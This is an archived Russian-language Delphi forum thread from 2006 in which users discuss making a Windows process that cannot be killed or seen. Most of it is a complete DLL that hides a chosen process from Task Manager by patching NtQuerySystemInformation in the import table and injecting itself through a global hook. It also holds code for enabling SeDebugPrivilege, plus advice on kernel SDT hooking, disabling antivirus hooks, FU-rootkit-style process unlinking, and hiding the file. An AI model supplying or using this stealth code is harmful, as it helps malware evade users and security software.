Просмотр полной версии : Как создать неубиваемый процесс
EST a1ien
13.11.2006, 09:37
Народ подскажите как создать неубиваемый процесс? Если я не ошибаюсь то делается это при помощт функции CreateProcess только какие параметры ей надо передать для того чтобы его нельзя было убить из диспетчера задач.
И сразу вопрос в догонку. Если я создам такой процесс смогу ли я получить доступ к нему из той программы при помощи которой я его запустил с помощью функций ReadProcessMemory/WriteProcessMemory ?
ps: Код желатьльно на Delphi
AHTOLLlKA
13.11.2006, 10:47
чето мне кажеца ты чувак гонишь)))
может просто создать скрытый процес, и не так палева и не че завершать то будет))
вот пример из статьи мс-рема
http://wasm.ru/pub/21/files/ring0.rar
_http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
EST a1ien
13.11.2006, 10:57
чето мне кажеца ты чувак гонишь)))
может просто создать скрытый процес, и не так палева и не че завершать то будет))
вот пример из статьи мс-рема
http://wasm.ru/pub/21/files/ring0.rar
Ты хоть понял что та прога делает а?
если нет то ненадо блистять гениальностью!!!
Могбы ставить минусы влепил бы ейбогу.
http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
Если чесно тоя это прочитал почти сразу после того как запостил сообщение только для меня осталось непонятным как это работает а точнеевот эта часть почему так
if not initializeacl(acl,sizeof(_acl),acl_revision)
then showmessage('initializeacl'+#13#10+syserrormessage (getlasterror));
// Проверяем acl на корректность (не обязательно)
if not isvalidacl(acl) then exit;
// Инициализация структуры sd (security descriptor)
// После инициализации sd будет разрешать доступ к объекту для всех
if not initializesecuritydescriptor(@sd,security_descript or_revision)
then showmessage('initializesecuritydescriptor'+#13#10+ syserrormessage(getlasterror));
// Добавляем к описателю безопасности наш acl
// Теперь sd запрещает доступ всем
if not setsecuritydescriptordacl(@sd,true,@acl,true)
then showmessage('setsecuritydescriptordacl'+#13#10+sys errormessage(getlasterror));
// Опять проверка на корректность структуры
if not isvalidsecuritydescriptor(@sd) then exit;
// Заполняем структуру sa (security attributes)
zeromemory(@sa,sizeof(sa));
sa.nlength:=sizeof(sa);
sa.binherithandle:=false;
// Ссылка на наш дескриптор безопасности
sa.lpsecuritydescriptor:=@sd;
// Ну и наконец, создаем новый процесс с новыми атрибутами безопасности
zeromemory(@si,sizeof(si));
si.cb:=sizeof(si);
Листинг hide.dpr
library hide;
uses
Windows,
SysUtils,
ImageHlp,
TlHelp32;
type SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of
0:(
Characteristics: DWORD);
1:(
OriginalFirstThunk:DWORD;
TimeDateStamp:DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC=^FARPROC;
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var ulSize: ULONG;
pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
pszModName: PChar;
pThunk: PDWORD; ppfn:PFARPROC;
ffound: LongBool;
written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then exit;
while pImportDesc.Name<>0 do
begin
pszModName := PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^<>0 do
begin
ppfn := PFARPROC(pThunk);
fFound := (ppfn^ = pfnCurrent);
if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXE CUTE_READWRITE,written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
exit;
end;
Inc(pThunk);
end;
end;
var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit
onceagain:
mov esi, SystemInformation
getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain
fillzero:
and [ebx], edx
jmp onceagain
quit:
mov Result, eax
end
procedure InterceptFunctions;
var hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getM oduleHandle('ntdll.dll'),'NtQuerySystemInformation ');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMOD ULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySy stemInformation,@MyNtQuerySystemInfo,me32.hModule) ;
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;
procedure UninterceptFunctions;
var hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getM oduleHandle('ntdll.dll'),'NtQuerySystemInformation ');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMOD ULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySyst emInfo,addr_NtQuerySystemInformation,me32.hModule) ;
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;
var HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result:=0;
end;
procedure InstallHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;
var hFirstMapHandle:THandle;
function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
ptr2: PBOOL;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,P AGE_READWRITE,0,8,'NtHideFileMapping');
if hFirstMapHandle=0 then exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WR ITE,0,0,8);
if addrMap=nil then
begin
CloseHandle(hFirstMapHandle);
exit;
end;
addrMap^:=pid;
ptr2:=PBOOL(DWORD(addrMap)+4);
ptr2^:=HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result:=true;
end;
exports
HideProcess;
var
hmap: THandle;
procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;
begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideF ileMapping');
if hmap=0 then exit;
try
mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
if mapaddr=nil then exit;
mypid:=mapaddr^;
hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
if hideOnlyTaskMan^ then
begin
fname:=allocMem(MAX_PATH+1);
GetModuleFileName(GetModuleHandle(nil),fname,MAX_P ATH+1);
if not (ExtractFileName(fname)='taskmgr.exe') then exit;
end;
InterceptFunctions;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc:=@LibraryProc;
end;
end.
Прописываем
implementation
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external 'hide.dll';
Прописываем в ОнШов например :
HideProcess(GetCurrentProcessId, false);
Жмём Alt+Ctrl+Del, а нас там нет :-)
AHTOLLlKA
13.11.2006, 11:12
ты сам видать не смотрел пример....
а насчет минусов, умный.. хех, лепи если сумеешь, мне фиалетово
Можно перехватывать функции для работы с процесами (желательно на уровне ядра) и никому не давать себя убить. Так, например, делает Касперский.
Про перехват функций в ring0 стоит прочитать на wasm'е
EST a1ien
13.11.2006, 11:23
Можно перехватывать функции для работы с процесами (желательно на уровне ядра) и никому не давать себя убить.
Давайте вобще свой антивирь напишим чё мелочится а?
Из-за того чтобы сделать просто неубиваемые процес мы полезем в 0 кольцо(верх гениальности)
Ладно с процесом коекак разобрались хотя неплохобы бало сделать чтото типа
_http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
Только хотелось бы узнать как вобще эта штука работает?
А что насчёт ReadProcessMemory/WriteProcessMemory ?
Можно ли будет их использовать если сделать как вот сдесь _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes ?
(Хотелось бы)
Из-за того чтобы сделать просто неубиваемые процес мы полезем в 0 кольцо(верх гениальности)
Если ты знаешь способ создать дейтсвительно неубиваемый процесс (способ описанный в статье _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes можно убить получив dubuge привелегии) из user mode поделись пожалуйста.
Только хотелось бы узнать как вобще эта штука работает?
Для каждого объекта ОС создает дескриптор безопастности, по которому определяет права доступа к нему. Очевидно, что в данном примере создается пустой дескриптор, и владельцем объекта становится создатель
EST a1ien
13.11.2006, 14:22
Дак а смогу ли я использовать
ReadProcessMemory/WriteProcessMemory к так созданому процессу?
Дак а смогу ли я использовать
ReadProcessMemory/WriteProcessMemory к так созданому процессу?
Если ты не владелец его и у тебя нет debuge привелегий то скорее всего нет
Получение debugePrivelege
function EnableDebugPrivilege(const Value: Boolean): Boolean;
const
SE_DEBUG_NAME = 'SeDebugPrivilege';
var
hToken: THandle;
tp: TOKEN_PRIVILEGES;
d: DWORD;
begin
Result := False;
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken) then
begin
tp.PrivilegeCount := 1;
LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid);
if Value then
tp.Privileges[0].Attributes := $00000002
else
tp.Privileges[0].Attributes := $80000000;
AdjustTokenPrivileges(hToken, False, tp, SizeOf(TOKEN_PRIVILEGES), nil, d);
if GetLastError = ERROR_SUCCESS then
begin
Result := True;
end;
CloseHandle(hToken);
end;
end;
Разнеснения по поводу работы функции:
Функция включает/выключает SeDebugPrivilege. Зачем эти привилегии нужны? На досуге попробуй записать что-нибудь в память системных процессов, например, в lsass.exe, без таких привилегий ты ничего сделать не сможешь.
Насчет самой функции:
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken) - получаем токен нашего процесса.
LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid); - Получаем LUID привилегии
AdjustTokenPrivileges(hToken, False, tp, SizeOf(TOKEN_PRIVILEGES), nil, d); - добавляем (точнее включаем) привилегию к нашему процессу
EST a1ien
13.11.2006, 14:39
А как можно как нибудь создать неубиваемый процесс и использовать ReadProcessMemory/WriteProcessMemory только из того приложения которое его запустило.
То есть надо создать прогу которая запускает приложение меняет пару байт в запущеной проге и потом запрещает любое изменение запущенного приложения?
2EST a1ien: ядерное программирование как раз и есть верх гениальности.
если ты хочешь чтобы процесс нельзя было убить - блокируешь доступ например к OpenProcess путем перехвата native api NtOpenProcess. Т.о. пропадет возможность открыть дескриптор процесса по которому его можно грохнуть. Перехват осуществляется простой подменой адресов ф-ий в SDT, доступ к которой имеет любой драйвер импортирующий KeServiceDescriptorTable.
Но... все это говно. Хуки с ядра можно снять даже из юзермода :) сам работал над этой вещью, назвал бетатеразином. Например после отработки начальной фазы кода, которая снимает все перехваты, мгновенно падает вся проактивная защита от касперского 6... ибо основана она на руткит-технологиях перехвата... которые уже стары как мир
выход есть. например полное скрытие процесса. мне вот нравится метод разрыва 2сторонних описателей процессов. можно заценить в исходниках FU rootkit
EST a1ien
13.11.2006, 20:24
Да блин мне ненадо настолько глубако закапыватся мне надо просто чтобы пользователь немог убить процесс запущенный мной из моей проги и всё!!!
Только вот этот http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
Пример почемуто неработает он компилится запускает блокнот только я всёравно могу его убить из диспетчера задач на вкладке процесы!!!!
хм.. прикольно но пашет
назови свою прогу именем одним из неубиваемых процессов... (winlogon к примеру)
увидешь эффект :D
EST a1ien
15.11.2006, 14:09
Неа это бред ты просто назови любой exe'шник именем системного процеса запусти его и ты его несможеш убить:)
EST a1ien
если серьезно то что тебе нужно это:
1. Использовать dll-ку с wasm'a
1.1. "пихаешь" ее в res.
1.2. при запуску распаковываешь
1.3. тут уже LoadLibrary, GetProcAddress, FreeLibrary
2. я писал что-то на подобие статьи вот: http://www.forum.antichat.ru/thread24230.html ... так вот в процессах спрятали... а если хотим скрыть сам файл? (чтобы в проводнике не видно было?) делаем как сказанно... к нашему файлу SetAtribytes(OurFile,faAnyFile)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot